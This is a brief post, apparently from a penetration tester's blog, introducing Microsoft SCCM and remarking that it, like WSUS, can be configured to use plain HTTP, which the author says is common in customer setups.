Microsoft SCCM or System Center Configuration Manager provides a way to deploy applications across an enterprise infrastructure.

It appears to function in a similar way to WSUS and also can be configured to use HTTP instead of HTTPS, something we actually come across quite often in customer setups.

Stay tuned for more, be safe and have fun!

Paul Duncan